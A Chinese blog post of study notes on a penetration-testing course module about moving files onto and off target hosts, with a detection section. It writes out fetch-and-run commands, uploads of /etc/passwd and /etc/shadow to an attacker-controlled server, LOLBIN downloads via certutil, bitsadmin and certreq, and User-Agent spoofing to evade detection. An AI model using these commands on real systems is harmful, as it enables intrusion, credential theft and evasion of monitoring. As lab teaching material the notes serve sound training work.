空想网安の乌托邦
首页小说读书项目归档照片墙音乐说说杂谈关于
封面

HTB Academy:文件传输(File Transfers)

写作时间:2026-09-20 12:30:29
# 网安
# HTB Academy

模块共 10 小节。本文按“适用场景—前置条件—服务端准备—客户端操作—校验—限制与风险”重新整理,不照搬课程原文。命令中的地址、凭据、文件和载荷均为课程示例,只能在获授权的实验或评估环境中使用。

1. 文件传输:为什么要掌握多种方法

文件传输不是简单的“下载一个文件”,而是在主机控制和网络限制下选择一条实际可用的路径。课程开场场景展示了典型限制链:

  1. PowerShell 被应用程序控制策略阻止。
  2. GitHub、网盘等站点被 Web 内容过滤。
  3. FTP 的 TCP 21 出站流量被防火墙阻断。
  4. SMB 的 TCP 445 出站流量仍可用。
  5. 最终通过 Impacket SMB Server 完成传输。

选择方法前先回答:

  • 传输方向是攻击主机到目标,还是目标到攻击主机?
  • 允许哪些入站/出站端口和协议?
  • 目标具备哪些原生命令、运行时和权限?
  • PowerShell、脚本解释器或未知二进制是否被白名单/EDR 阻止?
  • 数据是否敏感,是否必须加密?
  • 文件是否必须落盘,还是可直接在内存/管道中处理?
  • 如何验证文件完整性并在结束后清理?

主机侧的应用控制、AV/EDR 与网络侧防火墙、IDS/IPS 都可能改变传输结果。某种方法失败后,应根据错误类型切换协议、端口、发起连接的一侧或目标自带工具,而不是机械重复。

2. Windows 文件传输方法

2.1 Base64:适合小文件和无网络环境

Base64 不是加密,只是把二进制表示为可复制文本。适合小文件、受限终端和剪贴板传输;大文件会显著膨胀且容易因截断损坏。

Linux/Pwnbox 编码,Windows 解码

先记录原文件哈希:

md5sum id_rsa
cat id_rsa | base64 -w 0; echo

在 Windows PowerShell 中把复制到的 Base64 字符串还原:

[IO.File]::WriteAllBytes(
  'C:\Users\Public\id_rsa',
  [Convert]::FromBase64String('<BASE64字符串>')
)

验证完整性:

Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5

两端哈希应一致。课程使用 MD5 作为传输完整性指纹,而不是密码学安全用途。

Windows 编码,Linux 解码

[Convert]::ToBase64String(
  (Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte)
)
Get-FileHash 'C:\Windows\System32\drivers\etc\hosts' -Algorithm MD5
echo '<BASE64字符串>' | base64 -d > hosts
md5sum hosts

2.2 PowerShell Web 下载

前置条件:目标允许 HTTP/HTTPS 出站,PowerShell/.NET WebClient 未被策略阻止,远端 URL 可访问。

​DownloadFile​ 与异步下载

(New-Object Net.WebClient).DownloadFile(
  'https://example/PowerView.ps1',
  'C:\Users\Public\Downloads\PowerView.ps1'
)

(New-Object Net.WebClient).DownloadFileAsync(
  'https://example/PowerView.ps1',
  'C:\Users\Public\Downloads\PowerViewAsync.ps1'
)

​Invoke-WebRequest​

Invoke-WebRequest 'https://example/PowerView.ps1' -OutFile PowerView.ps1

旧版 PowerShell 若提示 Internet Explorer 引擎未初始化:

Invoke-WebRequest 'https://example/PowerView.ps1' -UseBasicParsing -OutFile PowerView.ps1

管道/内存执行

IEX (New-Object Net.WebClient).DownloadString('https://example/script.ps1')
(New-Object Net.WebClient).DownloadString('https://example/script.ps1') | IEX

这类方法避免保存脚本文件本体,但执行内容依然可能写入临时文件、产生进程/脚本日志或被 AMSI/EDR 检测。课程中的“无文件”不等于“无痕”。

常见 TLS 错误

若出现“无法建立 SSL/TLS 信任关系”,课程演示了临时关闭证书验证:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

这会失去服务器身份校验,仅适合隔离实验,不能作为生产环境的正常配置。

2.3 SMB 下载

适用场景:TCP 445 可达;目标允许访问 UNC 路径。新 Windows 往往阻止未认证 Guest,因此应准备账号密码。

Pwnbox 建立 SMB 共享

sudo impacket-smbserver share -smb2support /tmp/smbshare

Windows 下载:

copy \\<PWNBOX_IP>\share\nc.exe

若 Guest 被安全策略阻止,使用认证共享:

sudo impacket-smbserver share -smb2support /tmp/smbshare \
  -user test -password test
net use n: \\<PWNBOX_IP>\share /user:test test
copy n:\nc.exe

传输结束后应断开映射并停止临时服务,避免共享长时间暴露。

2.4 FTP 下载

首次安装与服务端启动

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21

默认示例允许匿名读取当前目录。TCP 21 需要可达,数据通道还可能受 NAT/防火墙影响。

PowerShell 下载:

(New-Object Net.WebClient).DownloadFile(
  'ftp://<PWNBOX_IP>/file.txt',
  'C:\Users\Public\ftp-file.txt'
)

Windows FTP 客户端可使用命令文件实现非交互下载:

echo open <PWNBOX_IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

​binary​ 可避免二进制文件因文本模式换行转换而损坏。

2.5 Windows HTTP 上传

Pwnbox 安装并启动上传服务

pip3 install uploadserver
python3 -m uploadserver

上传端点为 ​/upload​,默认端口 8000。

使用课程 PowerShell 上传函数

IEX(New-Object Net.WebClient).DownloadString(
  'https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1'
)
Invoke-FileUpload \
  -Uri http://<PWNBOX_IP>:8000/upload \
  -File C:\Windows\System32\drivers\etc\hosts

Base64 经 HTTP POST 上传

$b64 = [Convert]::ToBase64String(
  (Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte)
)
Invoke-WebRequest -Uri http://<PWNBOX_IP>:8000/ -Method POST -Body $b64

接收端可用 Netcat 观察请求体:

nc -lvnp 8000

取出 Base64 后还原:

echo '<BASE64字符串>' | base64 -d -w 0 > hosts

2.6 WebDAV:当 SMB 出站受限时

Windows Mini-Redirector 可通过 WebDAV 访问远端目录。课程使用 WsgiDAV:

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Windows 查看:

dir \\<PWNBOX_IP>\DavWWWRoot

上传:

copy C:\Users\john\Desktop\SourceCode.zip \\<PWNBOX_IP>\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\<PWNBOX_IP>\sharefolder\

​DavWWWRoot​ 是 Windows WebDAV 重定向器用于表示服务根目录的特殊名称;若指定服务器上真实存在的目录,可直接使用目录名。

课程示例启用了匿名写入和明文 HTTP,仅限短时实验。日志中的匿名写权限与未启用 TLS 警告必须认真对待。

​

 

‍SMB 与 WebDAV 流量示例

​

2.7 FTP 上传

服务端必须显式允许写入:

sudo python3 -m pyftpdlib --port 21 --write

PowerShell:

(New-Object Net.WebClient).UploadFile(
  'ftp://<PWNBOX_IP>/ftp-hosts',
  'C:\Windows\System32\drivers\etc\hosts'
)

Windows FTP 命令文件:

echo open <PWNBOX_IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT C:\Windows\System32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

​--write​ 会给匿名用户写权限,应限定目录、时间和网络边界,并在完成后立即停止。

​

 

‍Windows 文件传输实验拓扑

​

3. Linux 文件传输方法

3.1 Base64 与哈希校验

md5sum id_rsa
cat id_rsa | base64 -w 0; echo

目标端解码:

echo -n '<BASE64字符串>' | base64 -d > id_rsa
md5sum id_rsa

反向上传同理:在目标端编码,在 Pwnbox 解码。适合小文件及没有可用网络通道的终端。

3.2 ​wget​ 与 ​curl​

wget https://example/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://example/LinEnum.sh

注意差异:​wget​ 输出文件参数为大写 ​-O​,​curl​ 为小写 ​-o​。

3.3 管道执行

curl https://example/LinEnum.sh | bash
wget -qO- https://example/helloworld.py | python3

适用场景是无需保存脚本源文件的单次执行。执行前必须确认来源和内容;脚本自身仍可能创建文件或产生其他落盘痕迹。

3.4 Bash ​/dev/tcp​

前置条件:Bash 2.04+ 且编译时启用网络重定向;已知 Web 服务地址和路径。

exec 3<>/dev/tcp/<服务器IP>/80
echo -e 'GET /LinEnum.sh HTTP/1.1\n\n' >&3
cat <&3

它适合 ​wget​、​curl​ 等常见工具都不存在的情况。示例仅发送最简单的 HTTP 请求,复杂站点可能还需要正确的 ​Host​ 头和连接处理。

3.5 SSH/SCP 下载与上传

SSH 下载需要远端 SSH Server 可用、TCP 22 可达及有效账号/密钥。课程在 Pwnbox 上启用并验证服务:

sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt

从远端下载:

scp user@<远端IP>:/root/myroot.txt .

向远端上传:

scp /etc/passwd htb-student@<目标IP>:/home/htb-student/

SCP 语法类似 ​cp​:一个参数是来源,另一个是目标;远端路径用 ​用户@主机:路径​ 表示。

3.6 Linux HTTPS 上传服务

安装上传模块:

sudo python3 -m pip install --user uploadserver

创建实验用自签名证书:

openssl req -x509 -out server.pem -keyout server.pem \
  -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

启动 HTTPS 上传端点:

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

目标端上传多个文件:

curl -X POST https://<PWNBOX_IP>/upload \
  -F 'files=@/etc/passwd' \
  -F 'files=@/etc/shadow' \
  --insecure

​--insecure​ 是因为课程使用自签名证书,它跳过证书验证。敏感数据还应先加密,且只收集测试范围内必要信息。

3.7 快速建立下载服务器

在目标目录启动服务,该目录即 Web 根目录:

python3 -m http.server
python2.7 -m SimpleHTTPServer
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000

Pwnbox 下载:

wget http://<目标IP>:8000/filetotransfer.txt

前置条件是目标入站端口可达;若入站被阻止,应让目标主动连接 Pwnbox 或改用 SCP/允许的出站协议。

​

 

‍Linux 文件传输实验拓扑

​

4. 使用编程语言传输文件

机器上已有的解释器可以成为备用传输工具。选择前先用版本命令确认解释器和所需模块存在。

4.1 Python 下载

python2.7 -c 'import urllib; urllib.urlretrieve("https://example/LinEnum.sh", "LinEnum.sh")'

python3 -c 'import urllib.request; urllib.request.urlretrieve("https://example/LinEnum.sh", "LinEnum.sh")'

4.2 PHP 下载或管道执行

php -r '$f=file_get_contents("https://example/LinEnum.sh"); file_put_contents("LinEnum.sh",$f);'

以流方式复制:

php -r 'const BUFFER=1024; $r=fopen("https://example/LinEnum.sh","rb"); $l=fopen("LinEnum.sh","wb"); while($b=fread($r,BUFFER)){fwrite($l,$b);} fclose($l); fclose($r);'

直接输出并交给 Bash:

php -r '$lines=@file("https://example/LinEnum.sh"); foreach($lines as $line){echo $line;}' | bash

URL 作为文件名依赖 PHP 已启用相应的 ​fopen​ wrapper。

4.3 Ruby 与 Perl

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://example/LinEnum.sh")))'

perl -e 'use LWP::Simple; getstore("https://example/LinEnum.sh", "LinEnum.sh");'

4.4 Windows JavaScript / VBScript

Windows 可通过 ​cscript.exe​ 执行自定义下载脚本:

cscript.exe /nologo wget.js https://example/PowerView.ps1 PowerView.ps1
cscript.exe /nologo wget.vbs https://example/PowerView.ps1 PowerView2.ps1

课程中的 JS 使用 ​WinHttp.WinHttpRequest.5.1​ 与 ​ADODB.Stream​;VBS 使用 ​Microsoft.XMLHTTP​ 与 ​Adodb.Stream​。前置条件是对应 COM 组件和脚本宿主未被应用控制策略阻止。

4.5 Python 上传

接收端:

python3 -m uploadserver

上传端:

python3 -c 'import requests; requests.post("http://<PWNBOX_IP>:8000/upload", files={"files":open("/etc/passwd","rb")})'

需要 Python 3、​requests​ 模块、可读源文件和可达的上传端点。

5. 其他传输方法

5.1 Netcat / Ncat

Netcat/Ncat 读写 TCP/UDP 流,双方必须就监听端口、传输方向和输出重定向达成一致。它默认不提供加密和身份认证。

目标监听,Pwnbox 发送

目标:

nc -l -p 8000 > received.bin
# 或
ncat -l -p 8000 --recv-only > received.bin

Pwnbox:

nc -q 0 <目标IP> 8000 < source.bin
# 或
ncat --send-only <目标IP> 8000 < source.bin

Pwnbox 监听,目标主动连接

Pwnbox:

sudo nc -l -p 443 -q 0 < source.bin
# 或
sudo ncat -l -p 443 --send-only < source.bin

目标:

nc <PWNBOX_IP> 443 > received.bin
# 或
ncat <PWNBOX_IP> 443 --recv-only > received.bin

没有 Netcat 时,Bash 可接收:

cat < /dev/tcp/<PWNBOX_IP>/443 > received.bin

当目标入站连接被阻止时,优先让目标主动建立出站连接。传输完成后应比较哈希。

5.2 PowerShell Remoting / WinRM

前置条件:TCP 5985(HTTP)或 5986(HTTPS)可达;当前身份是管理员、Remote Management Users 成员,或被授予对应会话权限。

检查端口:

Test-NetConnection -ComputerName DATABASE01 -Port 5985

创建会话:

$Session = New-PSSession -ComputerName DATABASE01

发送到远端:

Copy-Item -Path C:\samplefile.txt \
  -ToSession $Session \
  -Destination C:\Users\Administrator\Desktop\

从远端取回:

Copy-Item -Path 'C:\Users\Administrator\Desktop\DATABASE.txt' \
  -Destination C:\ \
  -FromSession $Session

5.3 RDP 目录映射

除复制粘贴外,可把 Linux 本地目录映射到 RDP 会话:

rdesktop <目标IP> -d HTB -u administrator -p '<密码>' \
  -r disk:linux='/home/user/rdesktop/files'
xfreerdp /v:<目标IP> /d:HTB /u:administrator /p:'<密码>' \
  /drive:linux,/home/user/filetransfer

远端 Windows 中通过 ​\tsclient\linux​ 访问。前置条件是 RDP 可达、有效凭据,以及客户端允许磁盘重定向。Windows Defender 可能扫描并删除映射目录中的恶意样本。

​

 

‍RDP 本地资源映射

​

​

 

‍远程会话中的 tsclient 目录

​

6. 受保护的文件传输

测试中可能接触账号列表、凭据、AD 枚举和基础设施信息。除非客户明确要求,不应导出真实 PII、财务数据或商业秘密;测试 DLP 时应优先使用形态相似的虚拟数据。

首选 SSH、SFTP、HTTPS 等加密通道;若通道不可用,先对文件加密再传输。

6.1 Windows AES 文件加密

课程使用 ​Invoke-AESEncryption.ps1​。导入模块:

Import-Module .\Invoke-AESEncryption.ps1

加密文件:

Invoke-AESEncryption -Mode Encrypt -Key '<强且唯一的密码>' -Path .\scan-results.txt

生成 ​scan-results.txt.aes​。解密时对 ​.aes​ 文件使用 ​-Mode Decrypt​ 和相同密钥。每个客户/评估都应使用不同的强密码,不要复用。

6.2 Linux OpenSSL 加密

openssl enc -aes256 -iter 100000 -pbkdf2 \
  -in /etc/passwd -out passwd.enc

解密:

openssl enc -d -aes256 -iter 100000 -pbkdf2 \
  -in passwd.enc -out passwd

双方必须使用相同算法、迭代次数、PBKDF2 设置和密码。加密文件仍建议通过 HTTPS/SFTP/SSH 传输。

7. 通过 HTTP/S 接收文件:Nginx PUT

HTTP/HTTPS 通常较容易穿过防火墙。课程用 Nginx 建立只接受 PUT 的上传目录,避免把上传目录配置为可执行 PHP 的 Web 根目录。

7.1 创建目录和权限

sudo mkdir -p /var/www/uploads/SecretUploadDirectory
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

7.2 Nginx 配置

创建 ​/etc/nginx/sites-available/upload.conf​:

server {
    listen 9001;

    location /SecretUploadDirectory/ {
        root /var/www/uploads;
        dav_methods PUT;
    }
}

启用并重启:

sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
sudo systemctl restart nginx.service

7.3 排查端口冲突

tail -2 /var/log/nginx/error.log
ss -lnpt | grep 80
ps -ef | grep <PID>

课程在 Pwnbox 上发现默认站点绑定 80,于是移除默认链接:

sudo rm /etc/nginx/sites-enabled/default

这是会改变 Nginx 配置的操作;实际使用前应确认默认站点确实不再需要,并保留恢复方式。

7.4 上传与验证

curl -T /etc/passwd \
  http://localhost:9001/SecretUploadDirectory/users.txt

sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt

还要确认上传目录未启用目录列表,上传内容不能被 Web 服务器执行,并限制网络来源、文件名和权限。

8. Living off the Land:LOLBAS 与 GTFOBins

“Living off the Land” 是复用系统已有、受信任的二进制执行下载、上传、命令执行或文件读写。课程建议用:

  • LOLBAS:查找 Windows 二进制的 ​/download​、​/upload​ 能力。
  • GTFOBins:查找 Linux 二进制的 ​+file download​、​+file upload​ 能力。

​

 

‍LOLBAS 文件上传条目

​

​

 

‍GTFOBins 文件下载条目

​

8.1 ​CertReq.exe​ 上传示例

Pwnbox 接收:

sudo nc -lvnp 8000

Windows 发送:

certreq.exe -Post -config http://<PWNBOX_IP>:8000/ C:\Windows\win.ini

Netcat 中会看到包含文件内容的 HTTP POST。课程指出某些 ​certreq.exe​ 版本没有 ​-Post​ 参数。

8.2 OpenSSL 传输

Pwnbox 创建自签名证书:

openssl req -newkey rsa:2048 -nodes -keyout key.pem \
  -x509 -days 365 -out certificate.pem

服务端发送文件:

openssl s_server -quiet -accept 80 \
  -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

客户端接收:

openssl s_client -connect <PWNBOX_IP>:80 -quiet > LinEnum.sh

8.3 BITS 下载

bitsadmin /transfer wcb /priority foreground \
  http://<PWNBOX_IP>:8000/nc.exe \
  C:\Users\htb-student\Desktop\nc.exe

PowerShell 模块:

Import-Module BitsTransfer
Start-BitsTransfer \
  -Source 'http://<PWNBOX_IP>:8000/nc.exe' \
  -Destination 'C:\Windows\Temp\nc.exe'

8.4 Certutil 下载

certutil.exe -verifyctl -split -f http://<PWNBOX_IP>:8000/nc.exe

课程指出 AMSI/安全产品已经能识别常见的恶意 Certutil 用法。因此“系统自带”并不意味着不可检测或自动获准。

9. 检测文件传输

简单命令行黑名单容易被大小写或语法变化绕过;允许列表和行为基线初期成本较高,但更稳健。

HTTP 客户端通常暴露有辨识度的 User-Agent 和请求行为:

客户端 典型网络特征 PowerShell ​Invoke-WebRequest​ / ​Invoke-RestMethod​ ​WindowsPowerShell/<版本>​ User-Agent ​WinHttpRequest​ ​WinHttp.WinHttpRequest.5​ ​Msxml2.XMLHTTP​ 类 IE/Trident User-Agent,伴随 ​UA-CPU​ 等头 Certutil ​Microsoft-CryptoAPI/10.0​,常带 ​Cache-Control: no-cache​ BITS 先发 ​HEAD​,User-Agent 为 ​Microsoft BITS/<版本>​

组织可把合法浏览器、系统更新、AV 更新等常见 User-Agent 建立基线并导入 SIEM,再调查异常工具、罕见父进程、异常目的地、非常规端口和不寻常文件路径。

检测不能只依赖 User-Agent,因为它可被修改;还应关联命令行、进程树、DNS、代理、防火墙、Web 服务日志和文件创建事件。

10. 课程中的规避检测示例

本节是为了理解攻防对抗和验证检测覆盖,只能在明确包含规避测试的授权范围内使用。

10.1 修改 PowerShell User-Agent

列出内置 User-Agent:

[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() |
  Select-Object Name,
    @{Label='User Agent';Expression={
      [Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)
    }} | Format-List

使用 Chrome 标识发起请求:

$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://<服务器IP>/nc.exe \
  -UserAgent $UserAgent \
  -OutFile 'C:\Users\Public\nc.exe'

这只能改变一个表层网络特征,无法隐藏 PowerShell 进程、命令行、目的地址、文件写入和其他遥测。

10.2 其他 LOLBIN

课程以部分 Intel 图形驱动环境中的 ​GfxDownloadWrapper.exe​ 为例:

GfxDownloadWrapper.exe 'http://<服务器IP>/file.exe' 'C:\Temp\file.exe'

它说明受信任程序也可能具有下载能力,不代表该二进制在所有系统都存在。防御侧应关注“合法程序执行异常功能”的行为,而非只按文件名放行。

11. 方法选择矩阵

方法 主要前置条件 加密 是否落盘 常见限制 Base64 复制 终端/剪贴板 否 通常是 仅适合小文件,易截断 PowerShell WebClient/IWR PowerShell、HTTP/S 出站 HTTPS 时是 可选 ACP、AMSI、代理、证书、内容过滤 SMB TCP 445、共享访问 视 SMB 配置 是 Guest 被禁、边界常封锁 WebDAV HTTP/S、Windows 重定向器 HTTPS 时是 是 认证和写权限配置风险 FTP TCP 21 与数据通道 通常否 是 防火墙/NAT、匿名写风险 ​wget​/​curl​ HTTP/S 出站 HTTPS 时是 可选 工具可能不存在或被代理限制 SCP SSH、TCP 22、凭据/密钥 是 是 SSH 服务与权限要求 Netcat/Ncat 任意可达 TCP/UDP 端口 默认否 是 无认证、易被监控、连接方向受防火墙影响 WinRM Session 5985/5986、远程管理权限 协议保护 是 权限和 WinRM 配置 RDP 目录映射 RDP 凭据与资源重定向 RDP 保护 是 策略/Defender、交互会话要求 Python/PHP/Ruby/Perl 对应解释器/模块 取决于协议 可选 版本和依赖差异 LOLBIN/GTFOBin 特定二进制存在且功能适用 取决于工具 多数是 高度依赖版本,仍可能被行为检测

12. 推荐实操流程

确定方向与文件敏感度
  ↓
确认可达端口、代理、防火墙与目标工具
  ↓
优先使用加密且可审计的 SSH/SFTP/HTTPS
  ↓
必要时先加密文件,再选择可用协议
  ↓
启动最小权限、最短时长的临时服务
  ↓
执行传输并记录命令、来源与目标路径
  ↓
比较文件大小和哈希
  ↓
停止服务、撤销共享、删除临时文件与凭据

每次传输都应记录

### <文件名>
- 来源与目标:
- 传输方向:下载 / 上传
- 方法与端口:
- 使用账号/权限:
- 是否加密:
- 是否落盘:
- 源文件哈希:
- 目标文件哈希:
- 遇到的限制或错误:
- 清理结果:

13. 关键注意事项

  • Base64 是编码,不是加密;敏感数据应单独加密。
  • 不因“文件未保存”就称其完全无文件;管道载荷可能产生临时文件和其他痕迹。
  • 不要在命令行、脚本或笔记中长期保留真实客户密码。
  • 临时 SMB、FTP、WebDAV、HTTP PUT 和上传服务器应限定接口、目录、权限和开放时间。
  • 匿名写入只适合隔离实验,绝不能长期暴露。
  • 使用 HTTPS 时应正确验证证书;​--insecure​ 或全局禁用验证仅用于课程自签名环境。
  • 真实评估中只收集完成目标所需的最少数据;测试 DLP 优先使用虚拟数据。
  • 文件传输成功必须用哈希或至少文件大小验证,不能只看命令退出状态。
  • Defender/EDR 可能删除 RDP 映射目录或共享中的样本,传输失败时同时检查安全日志与隔离区。
  • LOLBAS/GTFOBins 是工具能力索引,不是“不可检测清单”;合法二进制的异常行为同样可被检测。

‍

avatar

Zybaxy918039

书本,学术,网安之间反复横跳的业余爱好者,目前在自学计算机网络和AI相关知识

RECOMMENDED

HTB Academy:使用 Nmap 进行网络枚举

2026-09-19 22:17:09

HTB Academy:信息收集-网络版(Web Reconnaissance)学习笔记

2026-09-19 22:22:34

HTB Academy:Footprinting(足迹收集)

2026-09-20 12:23:20

Table of Contents